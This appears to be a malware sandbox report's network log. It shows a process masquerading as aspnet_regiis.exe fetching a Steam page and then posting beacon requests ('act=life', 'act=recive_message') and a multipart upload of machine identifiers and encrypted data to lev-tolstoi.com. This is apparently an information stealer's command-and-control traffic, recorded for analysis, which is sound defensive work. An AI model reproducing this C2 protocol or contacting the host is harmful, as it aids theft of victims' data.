https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq. [TRUNCATED] Expires: Mon, 26 Jul 1997 05:00:00 GMT Cache-Control: no-cache Date: Fri, 27 Dec 2024 21:38:00 GMT Content-Length: 35121 Connection: close Set-Cookie: sessionid=b78ff060e1e8a66ddaabd955; Path=/; Secure; SameSite=None Set-Cookie: steamCountry=US%7C185ce35c568ebbb18a145d0cabae7186; Path=/; Secure; HttpOnly; SameSite=None
2024-12-27 21:38:00 UTC	14479	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 20 72 65 73 70 6f 6e 73 69 76 65 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 0a 09 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 68 65 6d 65 2d 63 6f 6c 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 23 31 37 31 61 32 31 22 3e 0a 09 09 3c 74 69 74 6c 65 3e Data Ascii: <!DOCTYPE html><html class=" responsive" lang="en"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><meta name="viewport" content="width=device-width,initial-scale=1"><meta name="theme-color" content="#171a21"><title>
2024-12-27 21:38:00 UTC	10097	IN	Data Raw: 2e 63 6f 6d 2f 3f 73 75 62 73 65 63 74 69 6f 6e 3d 62 72 6f 61 64 63 61 73 74 73 22 3e 0a 09 09 09 09 09 09 42 72 6f 61 64 63 61 73 74 73 09 09 09 09 09 09 09 09 09 09 09 3c 2f 61 3e 0a 09 09 09 09 09 09 09 3c 2f 64 69 76 3e 0a 09 09 09 09 09 09 09 09 09 09 3c 61 20 63 6c 61 73 73 3d 22 6d 65 6e 75 69 74 65 6d 20 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 74 6f 72 65 2e 73 74 65 61 6d 70 6f 77 65 72 65 64 2e 63 6f 6d 2f 61 62 6f 75 74 2f 22 3e 0a 09 09 09 09 41 62 6f 75 74 09 09 09 3c 2f 61 3e 0a 09 09 09 09 09 09 09 09 09 09 3c 61 20 63 6c 61 73 73 3d 22 6d 65 6e 75 69 74 65 6d 20 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 68 65 6c 70 2e 73 74 65 61 6d 70 6f 77 65 72 65 64 2e 63 6f 6d 2f 65 6e 2f 22 3e 0a 09 09 09 09 53 55 50 50 4f 52 54 09 Data Ascii: .com/?subsection=broadcasts">Broadcasts</a></div><a class="menuitem " href="https://store.steampowered.com/about/">About</a><a class="menuitem " href="https://help.steampowered.com/en/">SUPPORT
2024-12-27 21:38:00 UTC	10545	IN	Data Raw: 4e 49 56 45 52 53 45 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b 70 75 62 6c 69 63 26 71 75 6f 74 3b 2c 26 71 75 6f 74 3b 4c 41 4e 47 55 41 47 45 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b 65 6e 67 6c 69 73 68 26 71 75 6f 74 3b 2c 26 71 75 6f 74 3b 43 4f 55 4e 54 52 59 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b 55 53 26 71 75 6f 74 3b 2c 26 71 75 6f 74 3b 4d 45 44 49 41 5f 43 44 4e 5f 43 4f 4d 4d 55 4e 49 54 59 5f 55 52 4c 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b 68 74 74 70 73 3a 5c 2f 5c 2f 63 64 6e 2e 66 61 73 74 6c 79 2e 73 74 65 61 6d 73 74 61 74 69 63 2e 63 6f 6d 5c 2f 73 74 65 61 6d 63 6f 6d 6d 75 6e 69 74 79 5c 2f 70 75 62 6c 69 63 5c 2f 26 71 75 6f 74 3b 2c 26 71 75 6f 74 3b 4d 45 44 49 41 5f 43 44 4e 5f 55 52 4c 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b 68 74 74 Data Ascii: NIVERSE":"public","LANGUAGE":"english","COUNTRY":"US","MEDIA_CDN_COMMUNITY_URL":"https:\/\/cdn.fastly.steamstatic.com\/steamcommunity\/public\/","MEDIA_CDN_URL":"htt

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49731	104.21.66.86	443	4820	C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 21:38:01 UTC	262	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: lev-tolstoi.com
2024-12-27 21:38:01 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-12-27 21:38:02 UTC	1127	IN	HTTP/1.1 200 OK Date: Fri, 27 Dec 2024 21:38:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=ah3ithniaild69g8e7qesq11p6; expires=Tue, 22 Apr 2025 15:24:41 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=5Mkza%2B9mobXKyxeVMqc5sJxNreFiSACgpxZ9lDOw1UQNGFVFWcJEWlYJxPtFR8B0NLTOt%2BnbX%2BtDZDGr%2Fo6Ly03YJZC5Hq7c6a%2FcmqB5rOIbSfHmAHrOv6OFGrX8IrQzUZM%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f8c748bd9117277-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1812&min_rtt=1792&rtt_var=713&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2835&recv_bytes=906&delivery_rate=1492842&cwnd=225&unsent_bytes=0&cid=81754b725485f40f&ts=736&x=0"
2024-12-27 21:38:02 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-12-27 21:38:02 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49732	104.21.66.86	443	4820	C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 21:38:03 UTC	263	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 86 Host: lev-tolstoi.com
2024-12-27 21:38:03 UTC	86	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 48 70 4f 6f 49 68 2d 2d 61 61 64 62 38 38 30 64 61 38 33 64 26 6a 3d 62 39 61 62 63 37 36 63 65 35 33 62 36 66 63 33 61 30 33 35 36 36 66 38 66 37 36 34 66 35 65 61 Data Ascii: act=recive_message&ver=4.0&lid=HpOoIh--aadb880da83d&j=b9abc76ce53b6fc3a03566f8f764f5ea
2024-12-27 21:38:04 UTC	1125	IN	HTTP/1.1 200 OK Date: Fri, 27 Dec 2024 21:38:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=4f350da1301ho42aq094k8tp6k; expires=Tue, 22 Apr 2025 15:24:43 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=rkxDkNV2oZJADFeCKDEiDs16HrA4y1ZJW1%2F6%2FKvenYHwIJlJV%2Bl2DZTt8fP7xh7Rbv%2BTnBz6zNtHhgpuxcsjGNLVohDYEFoYsigKcex3Q3rizZ8aTr3cgleCkIJ8WJQMjts%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f8c74985c857c88-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1819&min_rtt=1811&rtt_var=696&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2836&recv_bytes=985&delivery_rate=1553191&cwnd=219&unsent_bytes=0&cid=282138710cd702a8&ts=779&x=0"
2024-12-27 21:38:04 UTC	244	IN	Data Raw: 31 64 31 61 0d 0a 38 57 71 66 30 75 6a 68 38 65 7a 41 71 38 63 66 43 63 32 33 32 64 2b 4b 43 39 56 51 48 52 64 2b 63 33 2b 59 74 2f 77 53 48 68 65 4b 53 4f 6e 77 30 74 58 64 7a 72 50 4f 35 53 56 76 72 4e 75 71 75 71 59 70 74 44 51 2f 4c 52 67 53 45 2b 76 53 30 44 42 6f 65 74 4e 51 2b 62 4f 45 6b 70 54 41 34 73 36 2f 50 54 4f 57 7a 50 75 36 35 43 6e 76 63 6e 68 39 48 42 49 54 2b 74 61 58 66 57 35 37 6b 67 4c 7a 74 59 43 45 6b 6f 69 68 78 36 70 36 62 4b 6a 57 73 37 48 6a 5a 72 30 39 50 7a 74 63 46 67 57 36 6a 64 35 66 65 32 4f 51 4a 2f 36 68 67 38 4f 4d 77 4c 75 4a 6f 6e 45 72 39 35 57 34 75 75 68 6e 73 7a 52 32 66 78 59 62 47 2f 76 54 6c 6d 4a 33 63 5a 6b 43 2f 62 61 42 6a 70 75 63 72 4d 32 74 63 57 71 69 31 76 76 7a 71 47 Data Ascii: 1d1a8Wqf0ujh8ezAq8cfCc232d+KC9VQHRd+c3+Yt/wSHheKSOnw0tXdzrPO5SVvrNuquqYptDQ/LRgSE+vS0DBoetNQ+bOEkpTA4s6/PTOWzPu65Cnvcnh9HBIT+taXfW57kgLztYCEkoihx6p6bKjWs7HjZr09PztcFgW6jd5fe2OQJ/6hg8OMwLuJonEr95W4uuhnszR2fxYbG/vTlmJ3cZkC/baBjpucrM2tcWqi1vvzqG
2024-12-27 21:38:04 UTC	1369	IN	Data Raw: 36 76 63 69 63 31 54 79 4d 65 36 38 53 4c 66 57 78 7a 30 78 65 7a 71 63 71 45 6e 38 37 36 69 61 31 78 5a 61 72 57 74 4c 72 70 61 61 55 39 66 33 59 55 47 52 6e 77 32 70 46 2f 63 6e 2b 55 41 50 53 33 68 59 53 62 69 4b 33 4b 35 54 4d 72 71 4d 33 37 35 61 68 4a 70 7a 46 38 59 52 45 41 58 65 57 62 68 7a 42 37 65 64 4e 51 76 62 61 45 67 70 36 4f 73 4d 47 75 64 6d 36 39 33 72 4b 77 35 57 6d 36 4f 48 42 32 48 42 59 58 38 4e 71 55 64 48 46 34 6c 51 6a 39 38 4d 54 44 6c 4a 62 69 6b 65 56 65 62 72 2f 53 74 36 75 71 55 2f 63 74 4d 57 78 63 46 68 47 36 6a 64 35 34 65 58 61 51 41 2f 4b 7a 67 6f 69 42 6a 72 44 50 71 48 68 35 71 64 43 31 74 2b 74 37 76 54 78 35 64 68 55 61 46 50 2f 53 6d 6a 41 79 4e 5a 51 51 76 65 6a 4b 6f 70 36 46 72 73 4f 79 66 53 75 77 6d 36 4c 39 37 Data Ascii: 6vcic1TyMe68SLfWxz0xezqcqEn876ia1xZarWtLrpaaU9f3YUGRnw2pF/cn+UAPS3hYSbiK3K5TMrqM375ahJpzF8YREAXeWbhzB7edNQvbaEgp6OsMGudm693rKw5Wm6OHB2HBYX8NqUdHF4lQj98MTDlJbikeVebr/St6uqU/ctMWxcFhG6jd54eXaQA/KzgoiBjrDPqHh5qdC1t+t7vTx5dhUaFP/SmjAyNZQQvejKop6FrsOyfSuwm6L97
2024-12-27 21:38:04 UTC	1369	IN	Data Raw: 36 64 42 59 62 58 62 53 56 6d 57 67 38 4c 64 4d 35 36 72 76 49 74 70 43 41 72 4d 36 7a 50 58 54 68 7a 50 75 36 35 43 6e 76 63 6e 4a 39 47 52 51 53 2b 39 2b 51 64 58 5a 35 6d 77 62 2b 6f 6f 57 48 6b 34 4b 71 77 36 68 7a 62 36 66 63 73 4c 62 75 61 62 59 34 50 7a 74 63 46 67 57 36 6a 64 35 45 65 33 6d 65 42 37 2b 46 69 59 32 64 69 62 53 4a 75 6a 4e 79 37 39 4b 33 2f 62 41 70 75 7a 74 2f 66 68 59 56 48 66 33 59 6d 33 4e 37 64 70 34 50 39 37 36 4e 68 35 2b 48 72 38 2b 6c 65 6d 2b 71 78 37 36 30 35 47 58 33 66 44 39 79 42 46 46 46 75 76 71 5a 5a 6e 39 61 6b 42 6e 30 38 4a 58 4e 69 73 36 6c 78 65 55 6c 4b 36 6a 51 73 37 62 75 59 62 63 67 65 6e 73 58 45 42 66 38 31 4a 4e 38 65 6e 57 53 43 50 75 38 69 6f 53 55 6e 4c 44 4d 6f 32 39 68 37 35 76 37 75 76 41 70 37 33 Data Ascii: 6dBYbXbSVmWg8LdM56rvItpCArM6zPXThzPu65CnvcnJ9GRQS+9+QdXZ5mwb+ooWHk4Kqw6hzb6fcsLbuabY4PztcFgW6jd5Ee3meB7+FiY2dibSJujNy79K3/bApuzt/fhYVHf3Ym3N7dp4P976Nh5+Hr8+lem+qx7605GX3fD9yBFFFuvqZZn9akBn08JXNis6lxeUlK6jQs7buYbcgensXEBf81JN8enWSCPu8ioSUnLDMo29h75v7uvAp73
2024-12-27 21:38:04 UTC	1369	IN	Data Raw: 53 56 33 35 32 70 64 2f 64 48 32 63 42 2f 6d 2b 6a 49 57 65 69 36 33 44 74 33 56 6c 6f 74 36 30 74 76 70 70 75 6a 5a 7a 63 52 51 61 46 37 71 62 33 6e 64 6b 4e 63 74 49 79 4c 32 46 67 35 43 59 34 74 62 72 5a 43 75 6f 32 66 76 6c 71 47 57 35 4d 6e 42 35 45 42 6f 56 2b 39 6d 51 64 33 6c 38 6d 77 44 76 73 59 36 4c 6b 6f 43 74 79 4b 46 34 62 71 76 53 76 37 76 6e 4b 66 6c 79 65 47 31 63 53 56 33 56 38 71 73 79 58 55 2f 54 46 37 4f 70 79 6f 53 66 7a 76 71 4a 71 58 35 6e 70 39 71 39 74 4f 52 6a 76 6a 6c 7a 66 68 67 64 46 50 2f 54 6e 33 56 35 64 4a 63 45 39 37 61 4a 67 4a 79 42 72 63 48 6c 4d 79 75 6f 7a 66 76 6c 71 45 79 67 4f 58 46 7a 58 41 35 54 34 35 57 5a 66 44 77 74 30 77 54 30 74 6f 79 47 6e 34 2b 6b 77 61 42 31 62 36 37 54 76 62 37 6e 62 62 49 7a 63 48 45 Data Ascii: SV352pd/dH2cB/m+jIWei63Dt3Vlot60tvppujZzcRQaF7qb3ndkNctIyL2Fg5CY4tbrZCuo2fvlqGW5MnB5EBoV+9mQd3l8mwDvsY6LkoCtyKF4bqvSv7vnKflyeG1cSV3V8qsyXU/TF7OpyoSfzvqJqX5np9q9tORjvjlzfhgdFP/Tn3V5dJcE97aJgJyBrcHlMyuozfvlqEygOXFzXA5T45WZfDwt0wT0toyGn4+kwaB1b67Tvb7nbbIzcHE
2024-12-27 21:38:04 UTC	1369	IN	Data Raw: 63 65 66 66 58 64 6e 6c 41 66 35 74 34 61 46 6e 49 69 6a 7a 4b 39 78 62 4b 72 65 74 4c 47 6f 4a 2f 63 31 5a 7a 56 45 55 54 50 78 78 6f 6c 7a 63 6e 36 46 45 37 32 76 78 4a 72 54 69 61 36 4a 2f 54 31 6f 70 4e 36 2f 76 65 52 70 73 7a 39 2f 5a 78 4d 57 47 76 50 65 6a 48 70 37 63 70 67 41 39 72 2b 4d 6b 5a 2b 41 73 4d 79 33 62 79 76 68 6c 62 79 6c 71 44 48 33 42 48 68 6c 44 42 4a 66 79 38 4f 64 5a 6e 64 34 6e 30 6a 69 2f 70 50 44 6c 49 4c 69 6b 65 56 37 5a 4b 62 57 74 4c 7a 68 5a 62 6f 33 64 6e 41 64 46 78 6e 77 33 35 35 32 65 6e 53 57 41 76 36 78 67 49 71 55 68 71 58 4b 74 7a 30 6c 37 39 4b 6a 2f 62 41 70 6e 6a 56 74 65 77 78 52 41 72 54 4d 33 6e 64 77 4e 63 74 49 2b 62 71 46 68 35 53 43 70 4d 79 6a 63 47 71 67 31 4c 75 79 37 47 4b 2b 4e 48 35 34 47 52 77 5a Data Ascii: ceffXdnlAf5t4aFnIijzK9xbKretLGoJ/c1ZzVEUTPxxolzcn6FE72vxJrTia6J/T1opN6/veRpsz9/ZxMWGvPejHp7cpgA9r+MkZ+AsMy3byvhlbylqDH3BHhlDBJfy8OdZnd4n0ji/pPDlILikeV7ZKbWtLzhZbo3dnAdFxnw3552enSWAv6xgIqUhqXKtz0l79Kj/bApnjVtewxRArTM3ndwNctI+bqFh5SCpMyjcGqg1Luy7GK+NH54GRwZ
2024-12-27 21:38:04 UTC	1369	IN	Data Raw: 77 38 4c 64 4d 49 39 37 57 41 6a 70 43 42 6f 64 75 6b 65 33 6d 76 32 4c 47 76 34 6d 4b 79 50 33 4a 34 48 78 63 62 38 64 6d 4d 65 58 78 32 6d 45 69 7a 38 49 32 62 30 39 62 69 36 72 4a 72 59 61 6a 5a 72 62 62 70 61 71 45 2f 62 7a 56 53 55 51 7a 39 78 4e 34 6f 61 6d 57 45 44 2b 4c 2b 6b 38 4f 55 67 75 4b 52 35 58 74 69 71 64 4b 39 73 2f 70 73 73 54 31 77 66 42 55 56 46 66 6e 56 6d 6e 52 37 63 4a 41 45 39 72 65 4a 6a 4a 65 48 72 4d 43 71 50 53 58 76 30 71 50 39 73 43 6d 57 4b 58 78 35 45 56 45 43 74 4d 7a 65 64 33 41 31 79 30 6a 78 76 6f 2b 44 6d 59 69 6d 7a 4b 4e 33 62 71 2f 65 75 4c 4c 73 62 37 4d 39 66 33 34 56 45 42 76 2f 33 35 56 32 63 58 61 56 44 72 33 2b 79 6f 53 4c 7a 76 71 4a 68 57 5a 6d 6f 39 4c 37 6f 71 5a 77 39 7a 56 7a 4e 55 52 52 46 76 62 52 6d Data Ascii: w8LdMI97WAjpCBoduke3mv2LGv4mKyP3J4Hxcb8dmMeXx2mEiz8I2b09bi6rJrYajZrbbpaqE/bzVSUQz9xN4oamWED+L+k8OUguKR5XtiqdK9s/pssT1wfBUVFfnVmnR7cJAE9reJjJeHrMCqPSXv0qP9sCmWKXx5EVECtMzed3A1y0jxvo+DmYimzKN3bq/euLLsb7M9f34VEBv/35V2cXaVDr3+yoSLzvqJhWZmo9L7oqZw9zVzNURRFvbRm
2024-12-27 21:38:04 UTC	369	IN	Data Raw: 71 53 50 53 33 6b 5a 4b 46 67 37 4c 4f 35 55 49 6c 37 38 33 37 35 61 68 63 74 44 78 78 63 67 6f 41 55 4e 33 44 6c 48 64 73 63 6f 51 48 76 66 37 4b 68 64 50 57 38 59 66 6c 65 58 72 76 6a 65 76 76 73 7a 7a 6b 5a 53 38 6e 41 31 38 45 75 73 50 65 4b 43 34 37 30 78 71 39 36 4d 72 45 6b 4a 79 77 7a 36 5a 72 61 4f 6a 72 68 5a 72 79 5a 4c 45 6c 62 6b 73 69 46 67 66 33 30 34 6c 68 4d 47 43 51 42 76 4f 33 6e 4d 50 64 7a 71 32 4a 2f 55 51 72 35 35 57 45 38 36 68 78 39 32 6f 2f 51 42 38 66 45 2f 33 44 6a 7a 31 62 62 35 34 4f 36 71 48 4b 7a 64 4f 49 34 70 48 31 4d 79 75 72 78 50 76 6c 75 44 76 73 5a 79 77 69 54 45 4d 43 74 4d 7a 65 5a 6a 77 74 77 55 61 39 6f 73 72 62 30 38 6d 68 32 37 64 37 61 4c 6e 57 2f 49 50 57 52 37 41 30 65 6e 49 4d 55 7a 50 78 77 5a 6b 77 4d 6a Data Ascii: qSPS3kZKFg7LO5UIl78375ahctDxxcgoAUN3DlHdscoQHvf7KhdPW8YfleXrvjevvszzkZS8nA18EusPeKC470xq96MrEkJywz6ZraOjrhZryZLElbksiFgf304lhMGCQBvO3nMPdzq2J/UQr55WE86hx92o/QB8fE/3Djz1bb54O6qHKzdOI4pH1MyurxPvluDvsZywiTEMCtMzeZjwtwUa9osrb08mh27d7aLnW/IPWR7A0enIMUzPxwZkwMj
2024-12-27 21:38:04 UTC	1369	IN	Data Raw: 32 35 66 32 0d 0a 77 7a 51 55 73 79 48 42 7a 35 32 39 78 42 61 6e 69 44 43 2f 69 33 74 4c 32 64 69 62 62 4f 71 33 74 72 37 35 76 37 73 71 67 78 6a 6e 49 33 4e 53 4e 66 58 65 4b 56 78 6a 42 4a 64 70 30 47 2b 71 61 62 7a 72 43 59 72 38 61 75 66 43 76 68 6c 62 33 39 73 44 6e 35 63 6e 74 6b 58 45 6c 4e 71 49 37 4c 49 79 73 6c 77 52 65 7a 71 63 71 56 30 39 62 77 68 2b 56 76 4b 2f 65 56 2f 4c 50 6c 61 4c 51 38 66 47 63 4f 46 78 37 73 31 74 6c 4f 51 6c 53 65 41 2f 47 39 68 59 69 74 73 49 50 45 72 6e 46 6d 6f 4e 36 46 67 2f 31 71 75 54 78 34 59 77 31 52 55 37 72 61 33 69 68 46 4e 64 74 49 77 76 37 4b 6d 39 50 57 34 76 79 6d 63 32 57 6f 77 36 72 77 79 57 53 38 50 6e 4a 36 46 31 46 54 75 74 50 65 4b 43 77 37 30 77 7a 73 38 4e 4c 54 77 64 58 33 6d 76 49 74 4f 62 43 Data Ascii: 25f2wzQUsyHBz529xBaniDC/i3tL2dibbOq3tr75v7sqgxjnI3NSNfXeKVxjBJdp0G+qabzrCYr8aufCvhlb39sDn5cntkXElNqI7LIyslwRezqcqV09bwh+VvK/eV/LPlaLQ8fGcOFx7s1tlOQlSeA/G9hYitsIPErnFmoN6Fg/1quTx4Yw1RU7ra3ihFNdtIwv7Km9PW4vymc2Wow6rwyWS8PnJ6F1FTutPeKCw70wzs8NLTwdX3mvItObC
2024-12-27 21:38:04 UTC	1369	IN	Data Raw: 6b 2b 58 63 6a 45 31 45 31 46 46 77 35 58 57 4d 45 4d 37 30 78 43 39 36 4d 71 32 6b 49 43 73 7a 72 4e 73 4a 6f 72 43 75 4b 33 75 61 76 64 38 50 33 4e 63 53 55 32 30 6c 5a 70 68 50 43 33 44 57 71 62 6c 32 64 54 44 33 4c 32 48 76 44 31 39 37 34 33 70 38 36 68 37 39 32 6f 2f 4d 68 38 44 44 2f 7a 57 69 48 4d 37 53 36 30 75 2f 71 47 41 6f 70 36 65 70 66 65 62 61 47 69 68 32 37 79 72 2b 53 6e 35 63 6e 41 31 52 43 68 64 73 70 6d 59 63 32 6f 31 72 45 61 39 71 4d 72 62 30 37 75 68 78 36 74 36 66 62 36 59 6e 62 37 35 59 35 59 2f 62 33 4a 63 58 31 33 38 6c 63 59 6a 4d 6a 57 58 47 62 33 6f 32 74 48 49 32 2f 47 65 39 53 39 30 34 63 7a 37 71 36 67 78 35 58 77 2f 5a 31 78 4a 58 62 33 57 6a 47 4a 36 64 6f 55 4c 75 6f 36 30 74 70 43 41 72 4d 36 7a 53 47 69 2b 31 72 75 32 Data Ascii: k+XcjE1E1FFw5XWMEM70xC96Mq2kICszrNsJorCuK3uavd8P3NcSU20lZphPC3DWqbl2dTD3L2HvD19743p86h792o/Mh8DD/zWiHM7S60u/qGAop6epfebaGih27yr+Sn5cnA1RChdspmYc2o1rEa9qMrb07uhx6t6fb6Ynb75Y5Y/b3JcX138lcYjMjWXGb3o2tHI2/Ge9S904cz7q6gx5Xw/Z1xJXb3WjGJ6doULuo60tpCArM6zSGi+1ru2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49733	104.21.66.86	443	4820	C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 21:38:06 UTC	275	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=LEXMHB03TXM1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 18134 Host: lev-tolstoi.com
2024-12-27 21:38:06 UTC	15331	OUT	Data Raw: 2d 2d 4c 45 58 4d 48 42 30 33 54 58 4d 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 32 39 31 37 45 43 36 41 45 39 46 43 44 39 32 32 42 45 42 41 30 43 36 41 39 37 35 46 31 37 33 33 0d 0a 2d 2d 4c 45 58 4d 48 42 30 33 54 58 4d 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 4c 45 58 4d 48 42 30 33 54 58 4d 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 48 70 4f 6f 49 68 2d 2d 61 61 64 62 38 38 30 64 61 38 33 64 0d 0a 2d 2d 4c 45 58 4d 48 42 30 Data Ascii: --LEXMHB03TXM1Content-Disposition: form-data; name="hwid"2917EC6AE9FCD922BEBA0C6A975F1733--LEXMHB03TXM1Content-Disposition: form-data; name="pid"2--LEXMHB03TXM1Content-Disposition: form-data; name="lid"HpOoIh--aadb880da83d--LEXMHB0
2024-12-27 21:38:06 UTC	2803	OUT	Data Raw: 13 cc 94 75 5e c1 bc c6 a2 f2 ea 27 0a 66 e1 9f 97 c5 15 2e a7 07 cf 5c b7 ad 66 f0 cc 99 a8 33 f7 13 05 cf ec 85 7a 3b 85 8d 54 32 2f 1f e5 1b c1 33 7b 37 a5 bf 9f 8e 3a f1 6e 9a e0 79 69 60 c1 4c a6 f2 f7 de 4b 1f 36 af 1d f9 d7 e0 58 6d 5b 0b fd 9c 0a b5 9b 60 cc b0 d7 ab 1f 3b d0 52 0a 9f fd 54 22 95 3f 7a 94 ff 75 ab 9f a1 e3 6f 93 83 99 38 43 4e 2f 95 2f 6d 6e ac ae d3 03 1e ad ac 6f 7a a3 8a 81 36 d9 bf 1f 83 71 fd 1a ed c5 4d d3 3e 9b d8 ac 97 0c bd 15 36 2b 97 37 bb ef 2e 57 0f bc 3e 57 2a 0f 97 2f ad 6d 4a a7 02 2f 2b 7f 42 10 78 3e ba 45 a8 b5 6d 75 bf 83 75 53 b3 09 3b 9c 3e 27 56 d3 d4 ab d6 33 5e 4f 4d 1f 4e cd b2 89 b4 bc b1 b1 56 29 af ef 1e fa 70 79 ed 62 65 cf 7b d9 de 73 45 81 36 af a9 da 16 51 bc 21 8f 77 45 11 8f 43 d4 61 11 d5 14 88 Data Ascii: u^'f.\f3z;T2/3{7:nyi`LK6Xm[`;RT"?zuo8CN//mnoz6qM>6+7.W>W*/mJ/+Bx>EmuuS;>'V3^OMNV)pybe{sE6Q!wECa
2024-12-27 21:38:07 UTC	1127	IN	HTTP/1.1 200 OK Date: Fri, 27 Dec 2024 21:38:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=0cjp8ef9r7lsdq0blec2lt9r9j; expires=Tue, 22 Apr 2025 15:24:45 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=bDmc4z%2FuLs7QicyLJuNeICsDJYyFmg5Z7bwRsl%2BXy6ofgDvp5gnUHxGnPyegnxroZlknSLHLO8IyVCpLCNUHS9VAC0lhoKEUxwCGwYuuE%2BO6cM3G62pyqw07OtPllXgZ7I0%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f8c74a6d9fef02d-EWR alt-svc: h3=":443"; ma=86400 server-timing: 